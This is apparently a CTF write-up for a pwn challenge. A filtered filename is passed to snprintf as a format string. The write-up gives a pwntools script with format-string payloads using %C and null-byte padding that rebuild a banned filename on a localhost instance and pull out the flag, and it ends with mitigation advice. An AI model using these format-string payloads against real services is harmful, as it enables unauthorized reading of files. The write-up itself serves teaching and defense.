I’ve only heard bad things about nc so I banned it.

Category: pwn

Solver: nh1729

Flag: GPNCTF{uP_AND_doWN_4Ll_aRound_GoE5_TH3_N_dIMEnSI0naL_CIrc1E_WTF_I5_tHis_f1ag}

Challenge Overview

The challenge consists of a small c file that basically accepts a string from stdin and uses it as the path of a file to dump. The flag is compiled as a string into the binary itself, which is named nc. Further,

  1. The read file name as c string must not include any character of ./nc.

  2. Before being used, the input buffer buf is passed to snprintf

        char *filename = calloc(200, 1);
        snprintf(filename, (sizeof filename) - 1, buf); 
    

Writeup

Since the flag is in the challenge binary, we want to read the nc file - without using the banned characters. Thus, inputs like nc or /proc/self/exe are not possible.

However, we could use snprintf to create a string that does include illegal characters even if the format string we provide does not. Looking into that, we noticed that sizeof filename is 8 because it is the pointer size, not 200 as one might expect. From the snprintf manual [1]:

The functions snprintf() and vsnprintf() do not write more than size bytes (including the terminating null byte (’\0’)).

Hence, we can actually only write 7 bytes.

To write characters other than those in the format string, we skimmed over the format specifiers in the same manual.

The obvious first solution is %c, which prints a character from the arguments. However, c is one of the forbidden characters. Instead, we found %C, which does almost the same except for wide characters.

To exercise control over the printed characters, we created a small pwntools script to quickly iterate our payload on a local deployment.

# ... boilerplate ...
from pwn 
r = remote('localhost', 1337)
r.sendline(<payload>)
print(hexdump(r.recvall()))

Our progression of payloads went like this:

from pwn import *

r = remote('localhost', 1337)
...
# Find offset of argument 10 in our input buffer
r.sendline(b'%10$p'.ljust(8, b'\0') + b''.join(p64(i) for i in range(10)))
#> 0x3
...
# Minimize used offset
r.sendline(b'%7$p'.ljust(8, b'\0') + b''.join(p64(i) for i in range(10)))
#> (nil)
...
# Test with %C
r.sendline(b'%7$C'.ljust(8, b'\0') + p64(ord('n')))
#> n
...
# Build 'nc' string
r.sendline(b'%7$C%8$C'.ljust(8, b'\0') + p64(ord('n')) + p64(ord('c')))
#> I don't like your character
# Apparently, the null bytes hid the 'n' from the filter.
...
# build 'nc' + use null bytes
r.sendline(b'%8$C%9$C'.ljust(8, b'\0') + p64(0) + p64(ord('n')) + p64(ord('c')))
#> <lots of binary stuff>
...
# Extract the flag
r.sendline(b'%8$C%9$C'.ljust(8, b'\0') + p64(0) + p64(ord('n')) + p64(ord('c')))
print(re.search(br'GPNCTF\{.*?\}', r.recvall()).group(0))
b'GPNCTF{uP_AND_doWN_4Ll_aRound_GoE5_TH3_N_dIMEnSI0naL_CIrc1E_WTF_I5_tHis_f1ag}'

Mitigations

Do not pass untrusted user input as format into printf family functions. As shown in this challenge, even if there are filters on the input, unexpected format specifiers can lead to surprising results.

In this challenge, the bug could have been prevented by using buf as filename directly, instead of using the additional snprintf step.

Other resources

[1] https://linux.die.net/man/3/snprintf